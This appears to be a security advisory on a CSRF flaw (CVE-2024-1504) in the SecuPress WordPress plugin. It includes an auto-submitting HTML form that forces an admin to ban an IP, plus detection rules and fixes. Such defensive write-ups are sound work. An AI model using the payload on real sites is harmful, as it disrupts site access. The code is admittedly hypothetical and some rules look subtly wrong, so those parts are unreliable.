CVE-2024-1504

Executive Summary

CVE-2024-1504 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the SecuPress Free — WordPress Security plugin, versions up to and including 2.2.5.1. The vulnerability resides in the secupress_blackhole_ban_ip() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when executed by an authenticated administrator (e.g., via a malicious link), can block a user's IP address. The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%. As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem and its administrative interface.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The SecuPress plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from the official repository. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must click a link or perform an action
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – IP blocking is a low-integrity impact
• Availability Impact: None (A:N)

The threat level is considered Medium due to the requirement for user interaction and the limited impact (IP blocking). However, in a targeted attack, an adversary could disrupt legitimate user access or cause denial of service by blocking critical IPs.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the WordPress plugin SecuPress. The secupress_blackhole_ban_ip() function is intended to block malicious IP addresses via the plugin's "Blackhole" feature. However, the function does not implement a nonce check (a security token that validates the request originated from the intended user). Without this nonce, an attacker can craft a malicious HTTP request that, when triggered by an authenticated administrator, will execute the IP blocking action.

Attack Flow:

1. The attacker identifies a target WordPress site running SecuPress <= 2.2.5.1.
2. The attacker crafts a forged HTTP request to the vulnerable endpoint (e.g., wp-admin/admin-ajax.php?action=secupress_blackhole_ban_ip&ip=<target_ip>).
3. The attacker tricks an authenticated administrator into clicking a link or visiting a malicious page that triggers the request (e.g., via an <img> tag or a JavaScript redirect).
4. The administrator's browser sends the request with their session cookies, and the server processes the IP blocking without verifying the nonce.
5. The target IP (which could be the attacker's own IP or a victim's IP) is blocked from accessing the site.

Root Cause: Missing nonce validation in the secupress_blackhole_ban_ip() function. The function likely uses check_ajax_referer() or similar, but the nonce is not enforced.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (<= 2.2.5.1):

function secupress_blackhole_ban_ip() {
    // No nonce check
    $ip = $_POST['ip'] ?? '';
    if ( filter_var($ip, FILTER_VALIDATE_IP) ) {
        // Ban the IP
        update_option('secupress_blackhole_banned_ips', $ip);
    }
    wp_die();
}
add_action('wp_ajax_secupress_blackhole_ban_ip', 'secupress_blackhole_ban_ip');

Patched Code (Hypothetical):

function secupress_blackhole_ban_ip() {
    // Add nonce verification
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'secupress_blackhole_ban_ip') ) {
        wp_die('Invalid nonce');
    }
    $ip = $_POST['ip'] ?? '';
    if ( filter_var($ip, FILTER_VALIDATE_IP) ) {
        // Ban the IP
        update_option('secupress_blackhole_banned_ips', $ip);
    }
    wp_die();
}
add_action('wp_ajax_secupress_blackhole_ban_ip', 'secupress_blackhole_ban_ip');

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with SecuPress <= 2.2.5.1 installed and activated.
• An authenticated administrator session (target user).

Exploitation Steps:

1. Identify the vulnerable endpoint: wp-admin/admin-ajax.php?action=secupress_blackhole_ban_ip
2. Craft a CSRF payload. For example, an HTML page with an auto-submitting form:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="secupress_blackhole_ban_ip">
    <input type="hidden" name="ip" value="192.168.1.100">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

3. Host the payload on an attacker-controlled server.
4. Send the link to the authenticated administrator (e.g., via email or social engineering).
5. Once the admin clicks the link, their browser sends the request, and the IP 192.168.1.100 is blocked.

Note: No public exploit code is available for this CVE.

Blue Team (Defender)

Detection:

• Monitor for requests to admin-ajax.php with action=secupress_blackhole_ban_ip from unexpected referrers or without a valid nonce.
• Look for unusual patterns of IP blocking in the WordPress options table (secupress_blackhole_banned_ips).

Prevention:

• Ensure the plugin is updated to the latest version (if a patch becomes available).
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=secupress_blackhole_ban_ip unless they include a valid nonce.
• Educate administrators about phishing and CSRF attacks.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/admin-ajax.php with action=secupress_blackhole_ban_ip and a ip parameter.
  • Referer header pointing to an external domain (indicating a CSRF attack).
• Host:
  • Unauthorized IP addresses in the WordPress option secupress_blackhole_banned_ips.
  • Unexpected entries in the WordPress wp_options table under secupress_blackhole_banned_ips.
• Logs:
  • WordPress debug logs showing secupress_blackhole_ban_ip function calls without a nonce.

Detection Engineering

YARA Rule

rule CVE_2024_1504_SecuPress_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against SecuPress plugin CVE-2024-1504"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1504"
    strings:
        $action = "secupress_blackhole_ban_ip"
        $ip_param = "ip="
    condition:
        $action and $ip_param
}

Sigma Rule

title: CVE-2024-1504 SecuPress CSRF Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable secupress_blackhole_ban_ip endpoint without a valid nonce.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=secupress_blackhole_ban_ip'
    condition: selection
falsepositives:
    - Legitimate admin actions if nonce is present (but this rule does not check nonce)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1504 SecuPress CSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=secupress_blackhole_ban_ip"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: If a patched version becomes available, update SecuPress immediately. Currently, no patch is available.
2. Disable the plugin: If the plugin is not critical, disable it until a patch is released.
3. Implement CSRF protection: Add a custom nonce check via a WordPress plugin or code snippet to the vulnerable function.

Long-term Mitigation:

• Web Application Firewall (WAF): Deploy a WAF (e.g., Cloudflare, ModSecurity) with rules to block requests to admin-ajax.php with action=secupress_blackhole_ban_ip unless they include a valid nonce.
• Security Headers: Implement X-Frame-Options: DENY and Content-Security-Policy to prevent clickjacking.
• User Education: Train administrators to recognize phishing attempts and avoid clicking suspicious links.
• Monitor: Regularly review WordPress logs and options table for unauthorized changes.

Workaround:

• Add a custom function to your theme's functions.php to enforce nonce validation:

add_action('wp_ajax_secupress_blackhole_ban_ip', function() {
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'secupress_blackhole_ban_ip') ) {
        wp_die('CSRF detected');
    }
}, 1);

Valters IT
Securing Digital Frontiers